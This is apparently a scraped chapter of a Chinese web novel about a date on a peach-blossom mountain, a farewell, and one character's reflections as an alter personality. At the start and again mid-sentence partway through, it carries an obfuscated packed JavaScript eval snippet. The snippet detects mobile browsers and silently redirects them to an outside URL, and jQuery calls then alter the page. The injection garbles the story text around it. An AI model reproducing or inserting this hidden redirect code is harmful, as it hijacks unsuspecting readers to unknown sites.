;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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落地窗外,夜幕忽然炸开烟花,漫天火树银花如星屑点点散开,残余的烟雾在夜空中留下几个字——“中秋喜乐。” 几乎是下一簇烟花映亮郁寒瞳孔的同一时间,宗寰欺身贴在郁寒耳侧说:“郁教授,中秋快乐。” 他们在两年前的2月相识又在9月分道扬镳,这是他们一同度过的第一个中秋,宗寰的喜悦都盛放在他亮晶晶的眼睛里。 宗寰凝视着郁寒有一瞬收紧颤动的瞳孔,扬着笑说:“我们还会一起度过很多个节日,对吗?” “想跟我玩吊桥效应?”郁寒不回答宗寰的话,他神色在随烟花明暗的光线下显得格外琢磨不透。 片刻的寂静后,宗寰垂下眼睫说:“我今晚能跟你睡吗?你想给我带项圈吗?” 郁寒突然毫无征兆地拎起红酒瓶将酒浇在宗寰锁骨凹陷处,冰凉的酒液激得宗寰身子战栗,却在下一瞬被郁寒温热的唇舌覆盖。 这个带着血腥与酒精的吻格外温柔,像某种隐秘的安抚信号,直到宗寰缺氧到手指蜷缩,才被扯着头发拉开距离。 “天亮后一起去桃冠山。”郁寒用拇指轻抹掉宗寰唇角的血渍,语调徐缓地说,“把你那些夸张的求爱手段收一收——宗寰,你已经够讨人喜欢了。” 宗寰怔忡地望着郁寒起身的背影,他呼吸加速,抓起还剩底酒的红酒瓶仰头猛灌,却难以平息躁动的心跳。 那暗红色液体顺着颈窝流了他满身,他像整个人被醇香的烈酒浇透,又被一味引子点燃,身上新鲜的伤痕又痒又疼,却有种铭心刻骨食髓知味的感觉。 宗寰偏过头,靠在玻璃窗上仔细回味郁寒刚才的话,然后扯唇笑了起来,眼中的光再次明亮。 38. 最后一次告别 桃冠山晨雾未散的登山阶梯上,看不清远处,看不清退路,只有淡青色的天光穿透薄雾。 宗寰今天穿着与郁寒同款的烟灰色冲锋衣,身形很是笔挺,他侧脸被山风吹得泛红,显得整个人满是鲜活气。 宗寰第三次试图去勾郁寒的手指,问出了到这个时候才敢问的话:“我的郁教授,你怎么就信我桃冠山秋天也有漫山盛开的桃花?万一大老远来了,只有一个秃秃的山头怎么办?” “在某些事情上,我其实相信你无所不能。”郁寒垂眼看着宗寰的小动作,他手上登山杖戳在青石阶上发出清脆声响,话略有停顿,“——比如,人造桃林。” “就算这里前一天还是枯秃的山头,像宗少这种氪金玩家也可以让它一夜开花,不是吗?” “你可能没有了解过,桃冠山高海拔又地形特殊,南坡因地质断层形成天然地热温泉带,配合山体环抱地形形成逆温层,局部气温常年维持在15-25℃区间,所以有了反季桃花盛放的条件。”宗寰与郁寒并肩走着,说话时一副求夸奖的神气表情,“但景区的桃林确实也用了一些人工手段辅助。” “景区在桃林地下埋设了碳纤维加热管网,通过地热发电站供电,会在秋冬季启动「春日模式」维持土壤温度。” “知道的这么详细,看来这处景区投资规划有宗家手笔?”郁寒顺着宗寰的话说,“你的投资眼光一直不错。” “是当初和闻家合资投的,因为确实很烧钱,闻翳拿出这份项目策划书的时候被闻氏集团的老古董骂得狗血淋头,但我反手就投了。”宗寰顿了顿,突然特别真挚地说,“我最初就想着,我要给以后喜欢的人造一片四季盛开的花海。” 郁寒没说话。 宗寰扯了扯郁寒的手臂,强调着:“——我只和你一个人来过这里。” 有山风卷着绯色花瓣从云雾深处飘落而来,郁寒终于停下赶路的脚步,掩下眼底的疲惫,语气有近乎宠溺的无奈:“我也只和你一个人来过这里。” 宗寰心满意足,快走两步跟上郁寒骤然加速的脚步,两人快走到地图标注的缆车点时,才看到许多一同清晨登山的游客。 山道的雾太大了,几个台阶之外就看不清身影,如果宗寰和郁寒谁走快或走慢一些,都有走散的风险,但郁寒一直没有回握住宗寰的手,他几乎寥有回应的表现远不如宗寰热切。 冷淡得……像是山高路遥,他赶路要紧。 宗寰不是毫无察觉,他其实有想起来郁寒先前那句,他没有多少时间了。 但宗寰不敢深想下去,他像是守着某条不可逾越的界限,贪婪又小心地维系着眼下他索求来的美好:“要坐缆车吗?我也安排了直升机……” “缆车吧。”郁寒拍开宗寰伸到腰后的手,他想着宗寰越是人多越是放肆的习性,拉着宗寰去了缆车的售票窗口。 “诶?我们不用给钱的,可以走特殊通道。”宗寰忙声说。 但郁寒拿过宗寰的手机付了钱,捏着那两张窗口递过来的桃花3D纸雕票根,带宗寰老老实实去缆车入口排队:“宗大少爷,今天放下一次你的特权阶级身份,试试普通人的约会?” “?”宗寰有一秒的疑问,不明白为什么要把时间浪费在排队上,但他看向郁寒拉住他的那只手,最后应道:“好。” 人群中,郁寒高举起宗寰的手机迎着晨光拍了张特别接地气的旅游照片,没有构图,没有中心人物,只有密密麻麻的人海和两张挡住一半天空的桃花3D纸雕票根。 检票上了缆车后,宗寰突然很仔细地将那两张缺了一角的票根收了起来。 山脚的气温并不算高,宗寰低头对着透明玻璃窗哈气,拉过郁寒的手画了颗歪斜的爱心。 郁寒任他为之,最后说了两个字:“幼稚。” 但宗寰再次对着玻璃哈气,在爱心前后分别写一个字母“H”和“Z”后,郁寒抬手把“Z”抹掉重新写了个“S”。 宗寰睁大眼睛,神色不满:“不带你这样的。” 郁寒平静说:“你还是要摆正一下自己位置。” 宗寰实在没忍住撇了撇嘴,嘲讽拉满地质询:“那你有没有一点和小三约会的觉悟,拜托,偷情还带正主合适吗?” “他不在。”郁寒的声音听不出情绪。 但宗寰却莫名听得心一颤,他总觉得郁寒的话好像很重,还带着一丝怨怒的戾气。 宗寰向郁寒靠了过去,只有彼此的观景缆车中,宗寰和郁寒肩挨着肩,他望着天光,突然抬手拉下高领冲锋衣的拉链。 宗寰重重扯了扯那个郁寒给他戴上去的项圈,沉声说:“我总觉得这两天的一切不太真实。” 郁寒沉默了许久,他眉眼挂上宗寰熟悉的戏谑:“宗寰,难道你以前从来没有幻想过吗?我和你约会的场景。” “没想过。”宗寰拉过郁寒的手搭上自己项圈锁扣的一截短链子,郁寒配合地扯住后,他垂眼看着脚下的风景说,“但我想过得到你的代价。” “郁寒,我现在站在这里,总觉得我随时可能从这些云上摔跌下去,摔得粉身碎骨。” 缓慢上升的缆车像悬空的玻璃花房,渐渐的,缆车穿过那层将山上山下“秋与春”的世界分隔开的仙渺云雾。 头顶的晨阳的曦光穿透脚下的云海,一缕缕倾泻而下,而自山腰往上的漫山桃林绯红一片,山风吹动桃枝上垂落的万千条红丝带,犹如袅袅烟霞。 “摔在温柔乡里,葬身在自己种下的花海,宗寰,我竟然感觉这样的死法很不错。”郁寒指节勾缠短链,轻轻扯了扯,笑得很莫名,“至少比我强。” 宗寰拉开两分距离,任由项圈勒得脖子生疼,他认真看着郁寒:“你有事瞒着我吗?” 郁寒不回答。 宗寰狠狠皱了下眉,不安地确认说:“你不要骗我……郁寒,不要骗我。” 郁寒有一瞬眼底黑沉得可怕,以致于宗寰生出郁寒想他骗上山又推下山崖的恐怖错觉。 但郁寒只是抬手揉开了他紧蹙的眉头,温声说:“宗寰,如果……” 郁寒终究还是没有在此刻说下去,他话锋一转:“别想太多,宗寰,我希望你今天的所有记忆能都是开心的事。” “毕竟我也不是总有这个心思,陪你来玩这种偷情的约会游戏。” 宗寰也欲言又止,他酝酿了许久,正想开口时,缆车到山顶站了。 山顶的风是暖的,望不到尽头的山林桃花开得那么艳丽恣意,纷飞的粉色花瓣几乎迷乱人的眼睛。 枝杆繁茂的几棵移栽的百年桃树下,一个树屋式的时光邮局前排着长队。 站定在熙攘的人潮中,郁寒比宗寰先开口说:“要给未来寄信吗?” “好。”宗寰踏着满地柔软的桃花和郁寒往前走,邮局门口有几个榉木书架,上面摆满了陈旧的报纸和上世纪的书籍,厚重的过往气息扑面而来。 随着队伍一点点往前走,树屋内侧的墙壁上挂着一个指针逆行的壁钟,他们在时光中逆行,又在抵达不了的过去里将信件寄给遥远的未来。 郁寒夸了句:“创意不错。” 邮局的火漆炉腾起松香,有排队的情侣们突然发出轻叹,树窗外,老桃树经不住满枝祈愿绸的重量,将最顶端的绸带垂到窗前,系着风铃的祈愿木牌在风中摇动。 捏着工作人员递出来的烫金信纸,宗寰毫无犹豫地落笔向10年后的自己问安—— 致2033年9月29日的宗寰 我是10年前的你,不知道10年后的我是否如家族所希望一样挑起了家中重担,是否事业有成,是否有脱胎换骨的成长蜕变,又是否爱人在怀,是否……有名有分? 后者大概很难。 但现在的我,这一刻的我,很开心,因为今天我和我至今为止最喜欢的人会有一个美好的约会,我想我会一直记得这一天。 如果遗忘了,那一定是未来的每一天都像现在一样开心吧。 我确定我的喜欢当然能有10年那么长久,但我不知道我能不能有那么幸运,能不能和他一直一直走下去,尽管我从小到大一直都足够幸运了,但在这件事上我还是不敢抱有绝对的信心。 我当然希望一切都好,希望这一次也求有所得,但我总觉得我随时会被他丢掉,所以只能希望自己能够再努力一点再厉害一点,能一直被需要,能一直有价值。 要是你能回信就好了,告诉现在的我不要彷徨,告诉我未来的美好结局。 不知道10年后的我看到现在的我在感情里惴惴不安的迷茫时会不会发笑? 不许笑,不然邦邦两拳。 我还年轻,你要允许我迷茫不安,允许我沦陷爱河,允许我不理智,也允许我废话连篇。 其他没有什么要说的了,我最大的愿望,最想知道的事情只有这个。 那么,10年后见。 落款——“2023.9.29 宗寰”。 宗寰写完抬起头时,看到郁寒已经将写好的信纸塞进信封戳好火漆印了。 他注意到邮寄的时间,问:“为什么是25年4月3号?这日期有什么特殊吗?你写了什么?” “没什么,寄给你的,你到时候就知道了。”郁寒将信封投进了邮寄箱里。 “我的还要等一下,手给我——”宗寰拉着郁寒的手印上红泥印强行在落款处摁了指纹,然后自己也摁了一个指印上去。 他看着指印形成的红色爱心大为满意,欣赏了三秒后才装起来封漆。 等宗寰弄好投箱后,郁寒已经站在靠近门侧的位置对他说:“走吧,下一站。” 下缆车时的山顶站到真正的山巅还有一段距离,那颗巨大无比有两千年历史的姻缘桃树就坐落在山巅,它是桃冠山所有历史和传说的由来。 从时光邮局往山巅走的一路,桃花铺满长阶,随着旭日攀过山脊,远处也传来晨钟回响。 山涧流水涓涓,在时光邮局往上五百个台阶是一处遥观邻峰飞瀑的观景台,台上有一座大小比肩庙宇的六角亭阁,亭中一边是桃冠山的文创周边店,另一边是青石垒的茶摊。 混着桃花的青茶香扑鼻而来,郁寒点了一杯“登山茶”,回过头时,瞧见宗寰站在文创店那编手绳的桃木珠前走不动路。 “想要?”郁寒疑惑问着。 “家里有一盒开光过的雷击桃木珠,看到这个我在想给你编个手绳什么的。”宗寰比划。 “雷珠子?多少年的?什么品相?有照片吗?考虑转手吗小兄弟?”一旁有个听见了的搞文玩的中年男子凑了过来。 “是拍卖级别的典藏孤品,不卖的。”宗寰回答,话却是冲着郁寒说的,“我拿来做定情信物怎么样?” 郁寒笑了笑,转向那位悻悻的男子问着:“那这位先生,你手上有雷珠子出吗?” 中年男子眼睛转了一圈,眯眼笑着掏出了两粒带有灼焦疤痕的天然木纹珠子:“你看看这两颗喜不喜欢呢?祖上传的,七十多年前的老桃木。” 珠子倒是很漂亮,但品级简直普通得不能再普通,比起文创店摊位上那些5块10块一颗的桃木珠只多了两道雷击过的灼痕而已。 宗寰粗略扫了一眼说:“郁教授,这种东西配不上你。” 郁寒却直接问了价:“多少钱?” “你诚心要的话,我也诚心出,你看这个数行不行——”中年男子抬手朝郁寒比了个“5”。 “这种垃圾东西也敢要价5万吗?”宗寰冷笑。 中年男子哽了一下:“不是,5000。” 宗寰瞪大眼睛:“5,000万?你不如直接去抢来的快一点……” 郁寒知道宗寰在逗对面玩儿,笑着拿出手机给中年男人转了账,然后买了文创店5块钱一条的红绳串了起来:“伸手,给你买的。” 老实说宗寰手上从来没有戴过这么廉价的东西,但在听到郁寒的话后,他把那两颗珠子看的比珍宝还贵重。 宗寰乖乖伸手,在郁寒垂落的目光下,他呼吸都变慢了。 郁寒在宗寰手上比好长短后,仔细编上可以调节松紧的结扣:“你说,这种在最暴烈的天象下形成的东西,为什么会有守护的寓意?” “暴烈者就不可以有威严下的温柔吗?”宗寰挑了挑眉,他收回手腕转动着看了又看,两颗雷珠子相叩发出清脆轻响。 光下,雷击过的灼痕混着木制纹理泛起涟漪般的温柔暗纹,像把半世纪前的春雷锁在了脉搏边。 这两颗珠子宗寰简直怎么看怎么顺眼,另一边的摊位叫着号说茶好了,宗寰特别显摆地专门用戴着珠子的那只手捧着茶杯,给郁寒看得忍不住笑。 喝完茶后,宗寰看晨阳已经高挂到了额顶处,匆匆想拉着郁寒往山巅上走,郁寒却顿住脚步,看着眼前的壮景说:“在飞瀑前合个照吧。” 景区合照!这要是发布在社交平台,和半官宣有什么差别! 宗寰乐得没边儿,欣然和郁寒背靠在观景台的石栏上,高举起手机打开相机—— 隔着两山之间的云壑,邻峰飞瀑像条被风掀起的银纱帘,水声经过千米空谷滤成断续的丝竹。 宗寰的冲风衣帽子被穿谷的山风灌满,鼓成只跃跃欲飞的纸鸢,郁寒侧头看向他时,三两瓣桃花正巧落进手机取景框。 镜头定格在那一刹那。 宗寰捧着手机,看着那张合照又看向郁寒,试探问道:“我可以把这张照片发在微博和朋友圈吗?” “可以,但不是现在。”郁寒回答,他最近总是话里有话的感觉。 宗寰目光追随着往前走的郁寒,顿了一下后,跟了上去。 桃冠山最高处天台形式的姻缘神树观景台,在第九百九十九级石阶之上。 越往上走,长阶上积堆的桃花瓣越多,像柔软的绯红毛毯,通往朝圣应许之地。 那姻缘神树枝叶异常葳蕤繁茂,有着一木成林的伟岸,蔓延生长开的枝冠笼罩了整个天台,风吹卷漫天飘坠的桃花瓣,踏上天台观景台的一瞬间,像完全进入了一个被巨树支配的领域。 或许就算是再唯物主义的人,在见到这棵树时,也会愿意相信它有灵。 这棵姻缘神树下见证过世界上千千万万虔诚相爱的情侣,奉于树身前的鼎炉中常年香火不断。 但在宗寰旁边,有个女生拿着几张刮刮乐彩票对着神树拜了又拜,最里念念叨叨着:“信女愿用一生姻缘换彩票中100万,暴富暴富暴富暴富。” 此时恰有推销彩票的商贩靠过来,郁寒想着宗寰的天眷神运便顺手买了一张,谁知道宗寰看到后连退三步:“不接不接不接。” “刮一下试试,你运气一向很好。”郁寒那点好奇心起来,强行拉过宗寰的手去刮彩票,“虽然说这种景区移动商贩卖的彩票一般都是二次覆膜没有大奖的,但是,你可是宗寰啊。” “啊!!!这是求姻缘的神树!求财会被反噬会有代价的吧!我也不是迷信,但是起码尊重这桃树一点啊,毕竟在它的地盘里!我不要中奖!我要我的姻缘线!”宗寰企图抽回自己的手,满脸痛苦挣扎。 但郁寒已经强行用宗寰的手刮完了,当宗寰看到郁寒愣在那里时,心头一跳……完了。 “还真能中啊。”郁寒呢喃道。 周边有听见的人目光齐刷刷地看了过来。 宗寰左眼皮一直跳,吓得宗寰直接把那张彩票塞郁寒怀里,对着那棵姻缘神树真挚虔诚道:“啊啊啊啊!不接!这不算我的不算我的!神树有灵,你听我解释啊!” “嗯,那算我的。”郁寒失笑,“100万呢。” “不行不行,也不能算你的!”宗寰仓皇把那张彩票从郁寒怀里打掉,最后又不放心地捡起来撕掉,摁着郁寒跟神树解释,“快道歉,快道歉!” 旁边有人倒抽凉气:“真中100万吗?撕掉是失心疯了吧。” 有风卷起地上的彩票碎纸,吹到另一人面前,那残缺的纸面上印着代表中奖的彩虹灯笼,下面对应的兑奖金额赫然是——“1000,000”。 那个人抬起头,痴怔地望向宗寰:“什么命啊这是……” 郁寒看着地上很快被飘落下的桃花瓣掩盖住的残碎彩票和宗寰略有湿红的眼睛,无奈叹了口气,安抚说:“别这么紧张,宗寰,你这么好的命,要什么都会心想事成的。” “你在乎这100万吗?……我的意思是,你想要很多钱,很多财富吗?”宗寰神色复杂,声音还带着些委屈,“我有,我刚好有很多钱。郁寒,你只要得到了我,别说百万,便是百万万后面也可以加上‘而已’两个字。” “宗家没有旁系子嗣而我做为独孙,几乎所有财富最终都会只集中倾注在我一个人身上。你可能无法想象那是一笔多么庞大的数字,我们A市安霭市作为国内四大直辖经济特区之首,重要经济产业链辐射全国,而寰宇集团掌控了一半以上的命脉企业……” “好了好了,知道你很有钱,别说了,听得我危机感都突然有点重。”郁寒堵上宗寰的嘴,“当着这么多人的面说这些,你也不怕被恶人盯上。” “我带保镖了,很多,这一路都有,现在人群里面站的或远或近的,几十个不止。”宗寰说得坦然。 郁寒抬手拈过宗寰头发上的一瓣桃花,勾唇笑着说:“那么多人,是怕我跑了?” 宗寰目光闪烁:“怕你再出事。” “要去求签吗?”郁寒看向香炉旁桌案上无数系着红绳的桃木牌签,有人跪在香炉前的软垫上对着姻缘桃树双手合十拜了几拜后,从那无数红线中抽出一根。 宗寰点头,他和郁寒在一同敬香求签的长队后排了起来,但轮到他们时,郁寒却没有动作,只有宗寰干脆利落地屈膝跪在软垫上。 他其实不信神佛不信玄学,但这一刻,却无比虔诚地冲着一棵树木磕头。 宗寰紧张至极地去抽红绳,又在拿到桃木牌签之后紧紧捂着,不敢看签文。 但他那从小到大好到近乎令人生恨的天赐运气这次没有再眷顾他,宗寰翻开手,桃木牌签的正面上刻着—— 桃夭灼灼本无根, 折赠东风亦辞春。 若问云外三山信, 莫追雪中一程灯。 反面即是签文解语,「此签主聚散随缘,宜守本心。」 宗寰沉默一瞬,将那块桃木牌放回去,甚至问工作人员要了张纸擦擦手:“迷信要不得。” “我们去那边挂祈愿锁吧。”宗寰转头对着郁寒闷声说。 “迷信要不得还挂祈愿锁?”郁寒挑眉。 “来都来了。”宗寰用国人经典名言回他,“图个好兆头。” 郁寒此刻站在桌案坠着桃木牌的那一头,他并无虔敬之意,伸手拨开牌面挑挑拣拣,选了一个满意的签文后,倒抽出来—— 摘星何惧天门陡, 断水重开日月流。 若得天公垂怒目, 焚香再铸九世秋。 反面签文解语是,「此签主逆旅争春,纵天命不允亦可争。」 郁寒将桃木牌递向宗寰:“既然不搞迷信,那想要什么自己来选。” 宗寰手覆上那块桃木牌签,没有拿过来,而是一整个握住郁寒的手,让那块桃木牌签留在他们手心。 郁寒倒也不挣开,有一阵山风卷着花瓣掠过他们紧紧交握的手,他听到宗寰试探又期待地问他:“你是在默许我争一争名分是吗?” 迎着宗寰的目光,郁寒这一次笑着回答他:“至少,我的宗大少爷不能输给齐蹊对不对。” 宗寰心脏怦动着,但以他的敏锐,还是能察觉到郁寒的诱导:“你是想要我帮你弄齐蹊吗?……这种事情你可以直接说的,我会想办法。” “为什么这么讲?如果我是这么想的,我自然早就提出来了。”郁寒很轻地皱了下眉,意识到自己的话可能有误歧,然后嘲弄地笑说,“我和齐蹊之间的事不需要借谁的势来处理,宗寰,我一直提出的都只是让你在任何时候保我全身而退。” “他是我的情敌,不是你的。” 宗寰能感觉得到郁寒这几句话不像骗他,但还是有什么让他并不心安,他缓了缓,最后归根于几乎冲昏头脑的幸福感带来的晕眩。 那种飘在云端随时会摔坠得粉身碎骨的慌悸感一直萦绕着宗寰,但他还是欢天喜地的同郁寒一起去观景台靠悬崖那一侧的石墙围栏上系红绸祈愿锁。 尽管,他们所祈愿的并不同心。 他心如明镜,他自我麻痹,但这一天在宗寰记忆里,的确是很浪漫的完美约会。 他拉着郁寒在天台临崖处放声高喊听回音在壑谷回荡,甚至像身边那些放肆的学生情侣一样在无际桃林里发疯地奔跑、大笑,郁寒不再端着这几天怪异的冷漠架子,他们谈过去,谈初见,谈宗寰一见钟情的悸动瞬间。 从艳阳高悬到斜挂天边。 身周的粉白花朵在暖风中簌簌摇落,分不清是不是夕阳暮光给脸上笼一层薄红,宗寰捂着心脏说:“完蛋了,郁教授,我要爱你一辈子了。” “我还以为早就……”郁寒眉眼间疲色加重,却笑得格外轻松。 “是,早就着了你的道了。”宗寰笑着点头,“你是不是累了,我好饿,山脚有一家汉风宫廷主题的餐厅,我订了餐位,走吗?” “看完江山看美人?”郁寒挑了挑眉,“好。” 他们是坐直升机下的山,时至暮时,山道登云阶的雾已散尽,从上望下去,尤其是被缆车替代的那段山路,可见其蜿蜒求索的崎岖。 桃冠山山脚处有一座巍峨宫殿,整座建筑像是托成浮在暮色里的玄玉山峦。 飞檐挑起熔金落日,殿宇穹顶十二道黑金戗脊如剑指天,青玉雕的凤凰衔着青铜色宫铃,黑漆大门镶嵌错银螭纹,暮光照亮门楣悬着的鎏金匾额——「鹿鸣台」。 “你是说,眼前这座宫殿是一个主题餐厅?”郁寒有心理准备,但明显准备少了,“还以为是一处隐于山中的名胜古迹。” “确实是风水宝地。”宗寰和郁寒随牵引的侍者往前走,绕过玄关处松烟墨绘的山水屏风,青石板路左侧有一道蜿蜒绕廊的水渠,水上竹筏托着银杯悠悠漂过。 往前再稍走些,渠心立着一整块太湖石雕的问吉台,上有天然形成的肖似“福禄”二字的石纹,台面凹陷处嵌着一座青铜龟甲,龟甲一旁石刻着一句“流觞曲水趣,掷钱天地心”。 郁寒顿了脚步,问道:“有铜钱吗?” 侍者捧了一盅“玉子钱”上来:“先生,祈愿掷币可以用这个。” 宗寰的手被郁寒拉过来,随后两枚玉子钱被接连抛起,划出一道遥远的弧线后,先后落在「乾卦」爻位对应的“大吉”之处。 对于宗寰的好运体质屡试不爽的郁寒失笑:“你这手,借我吧。” “只要你一直牵着,就一直是你的。”流动的光线从廊下铜雀灯里漏下来,宗寰眼中有诚挚的光被映亮,他看向郁寒很认真地说着。 可是,郁寒好像总是不许诺长久,总是避而不谈任何未来。 这一次宗寰依旧没有等来郁寒的回话,他努力不让嘴角的笑垮掉,很快把自己哄好:“走快些吧,我饿了。” 走过门口的雅廊,餐厅的大堂大得惊人,清脆的铜铃骤响,昭示着有客人进来,十二扇绘着山峦青石的描金屏风向两侧一道道退开—— 二十名披帛舞姬赤足踏着绛红长毯鱼贯而入,雪色纱衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15238687|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缀满银丝雀翎,光束从头顶落下来,舞姬旋身时长袖惊起纷飞的桃花瓣。 有歌声渐起,被侍者引入席位的宗寰垫了几口糕点后,向郁寒靠过去问:“怎么说?这里体验感怎么样?” “很不真实。”郁寒回答道,他玉制筷子落在那道琥珀核桃的甜品间,甜品浇着枫糖绘制的双鹤,将融未融的糖丝缠在筷尖,最后郁寒只试了一口酒渍樱桃便放下筷子。 恰在此时那台上歌伎唱着——“一曲天上宫阙,何人叹今梦中虚影。” 郁寒手在那只犀角酒杯上磨挲,那杯中盛着雪山冷泉酿的“寒潭香”,香气清洌得如临冬日,他目光略有闪烁:“宗寰,这顿饭之后,放我走吧……散了两天心,我也该去面对那些要我处理的事情了。” 像是一句话将人从幻色泡沫中拉出来,宗寰沉默许久,平静应道:“好。” ……从餐厅出来,有一阵风迎面吹拂过来,照壁鎏金的夕辉映亮宗寰一半的侧脸。 他们好像总是在这样的傍晚告别。 宗寰不舍得松开郁寒的手:“在这里就分开吗?你打算去哪里?不用我送你吗?” “嗯,就在这里分开吧。”郁寒注视着宗寰在光线下变成浅棕的眼睛,轻声回答说。 “你不要做傻事或者危险的事。”宗寰叮嘱道,顿了下,又问着,“我不放心你,我可以远远跟着你吗?” “宗寰,我想自己一个人走一段路。”郁寒说。 宗寰沉默,最后还是松开了手:“那你去做你想的事情吧……再见。” “但是郁寒,我脖子上的项圈是指纹锁,你一天不回来找我,我就一天不会摘下来。” 郁寒不说话。 宗寰皱着眉,狠狠威胁说:“如果你一直不回来找我,我不确定我会做出怎样发疯的事情。” “我并不是一个好人,如果你骗我,你知道的,我一定会用不择手段的方式得到我想要的。” “如果我没斗得过齐蹊,你会保我的对吗?”郁寒突然问着,“宗寰,你不会让我落在齐蹊手里任他摆布的对不对。” 宗寰眼睛亮了亮,将这句话默认为郁寒对他的选择:“当然。” 但郁寒却在此刻凑近,在宗寰额头落下一个很纯粹的亲吻,在宗寰放大的瞳孔中,郁寒说:“很抱歉利用你那么多次,既然你跟我说过对不起,那么我也该回你一句抱歉。” “我没什么能补偿你的,还你一个吻吧。宗寰,我想我能遇到你,是我所有的好运。” “好吧……好吧,那我原谅你了。”宗寰怔了怔说,“那之前那些事,你也原谅我了吗?” “宗寰,我说过,你不算亏欠我。”这是郁寒留下的最后一句话。 像上一次一样,被留在原地的宗寰惘然地看向郁寒离开的背影,心脏空空的,像被剜掉一块般生疼。 可是,明明只是一次很普通的分别,过段时间郁寒就会回来找他的……不是吗? 吹拂过桃枝的晚风静默下来,宗寰视线停留的方向,云边那轮落日沉没最后一寸红色,天幕将暗。 踏着路边满地桃花,郁寒就那么徒步往前走着,漫无目的。 他想了许久自己要回去哪里,最后发现,自己像游魂一样无所归依。 他其实没有来处,没有去处。 走到很远很远的地方,郁寒在路边的路灯光影中蹲了下来。 他并不是为谁而诞生的人格,从郁杉……或者说从他自己出生起,他的意识就存在于这个身体。 可是,为什么都要说他是“副”人格呢?因为小时候的他意识孱弱并不能时常掌控自己的身体?因为他有限支配这具身体的时间里所表现的样子不够符合父母的心意不够谦逊有礼像个乖孩子? 所以他被否认是这具身体的主人,所以他连自己都不可以是,所以他是病端,所以他是附属。 凭什么呢? 同样都是这具身体的原生意识,哪来什么主次之分。 而且,凭什么“副”人格就该死呢?凭什么他就是不该存在的那个呢? 郁寒抬起头,伸手去接眼前的光。他的疑问实在得不到答案,他自知不是什么好东西,但这个世界对他也确实并不友善。 这个世界里有什么是真正属于他的呢? 连身份证上印的都是“郁杉”两个字,小时候父母老师亲友的夸赞和爱都是郁杉的,他们从不认可他的存在,A市市区里那套公寓是父母留给那个乖巧儿子的遗产,他的教授身份,他的学生,所有的所有其实都是郁杉的。 连他,也是郁杉的。 眼前有飞蛾扑撞向路灯,郁寒看了许久,终于起身在路边随手拦了一辆出租车,上车报了公寓的地址后,郁寒抬头看向车窗外阴蔽无星的夜空。 他真的,有过一段太长太长的孤独时光。 还小的时候,没有人能看到他,也没有人会听见他的声音,他只能和郁杉说说话。 可是郁杉从不理会他。 他孤独得发疯,他确实不是个好孩子,或许基因里就有着天然的劣根性,但他并不是一生下来性格就扭曲,就阴戾,就恶毒,就疯魔的。 他只知道,还没长大的那段路,他走得很痛苦。 好像是某种天性,他对恶意有种惊人的敏感,当郁杉呆在齐蹊家一起学习时,郁寒总对那个环境有一种奇怪的恶心。 所以他总是诱导、教唆郁杉离开那个环境,以及后来夺过身体控制权,去打翻那个让他被外人看见的契机的蛋糕。 可痛苦才刚开始,出现在人前的他被打骂,被说疯子,被说精神病,被说中了邪。 他和郁杉分明是天生的精神病,凭什么父母对郁杉就满是心疼,凭什么只有他来承担无尽谩骂声? 多不公平。 他当然憎厌,当然怨愤,当然嫉恨。 有雨点打湿了窗户,世界被隔断,视线被模糊,大概是郁寒身上的情绪太浓稠凝重,出租车上的气压低得吓人。 可那么寂静的车里,郁寒觉得雨声突兀又聒噪。 郁寒心里积压多时的燥郁要破腔而出,他这一刻想要发疯地质问、呐喊、痛哭,像一个真正的精神病一样。 可他什么都没做,只是倦怠地闭了闭眼睛。 他审视过往,他仍旧觉得自己不算错。 他厌恨自己的精神疾病,厌恨那些辱骂他的人,厌恨那些双标的人,厌恨那些对他和郁杉态度不一样的人,但他不厌恨郁杉。 他觉得“自己”很可怜,他和郁杉都是。 但他还是会想,郁杉对他能不能有一点的亏欠之心,毕竟他替郁杉承担了那么多。 可惜郁杉不会,可惜连郁杉都不爱他,可惜连郁杉也抱着一样希望他消失的恶毒想法。 他该怎样在这个世界上留下痕迹呢?该怎么证明自己活着的痕迹呢? 郁寒曾经无比渴望被认可,又一次次被打击。 他也尝试过在自己支配身体的时间段做些讨人喜欢的乖乖小孩的事情,但那样他只会被人当做是“郁杉”,尽管他们所表现出来的样子其实并不一样。 就好像那份喜欢永远落不到他身上,于是生出恶意的他只能学会破坏,学会违逆,学会恶劣,学会用不堪的词句攻击人。 当他和郁杉截然相反到脱离正常范畴时,他才会被认出来。 没有人尝试用爱教化他,只是一味地要扼杀他,没有人给他一点点的怜悯,只是一味地咒骂他。 所以郁寒只好强大。 他不想消失,凭什么该他消失。 他该杀了郁杉的,他有太多次可以杀了郁杉的机会,可是在他们16岁那年,在无助且精神极度脆弱的郁杉面前,他第一次体会到了被需要的可能性。 郁杉摒弃的如潮水的负面情绪都被他全盘接收,他以为自己承受习惯了痛苦,以为他一个人扛下所有苦楚是件不困难的事。 但他高估自己了,被负面情绪冲撞的他变得失控变得更易怒变得更扭曲。 而且那个时候他已经是一个很坏的人了,习惯了恶劣浪荡扭曲的标签,会导致他不自控地出于习惯去干一些坏事。 郁杉是最遭殃的那个。 可那个时候偏偏郁杉已经离不开他了,被折磨又离不开,就只能崩溃地承受他的欺负。 他把一手救赎的好牌打得稀烂,他和郁杉之间,痛苦扎根得太深,于是没有了爱意生芽的可能。 他尝试求要谅解,替郁杉努力完成被他影响了的学业,他开始不断地出去社交以分散自己对郁杉失控的恶意。 可是,好像是命烂到这种程度一样,他的社交圈,他交的朋友,和郁杉截然不同。 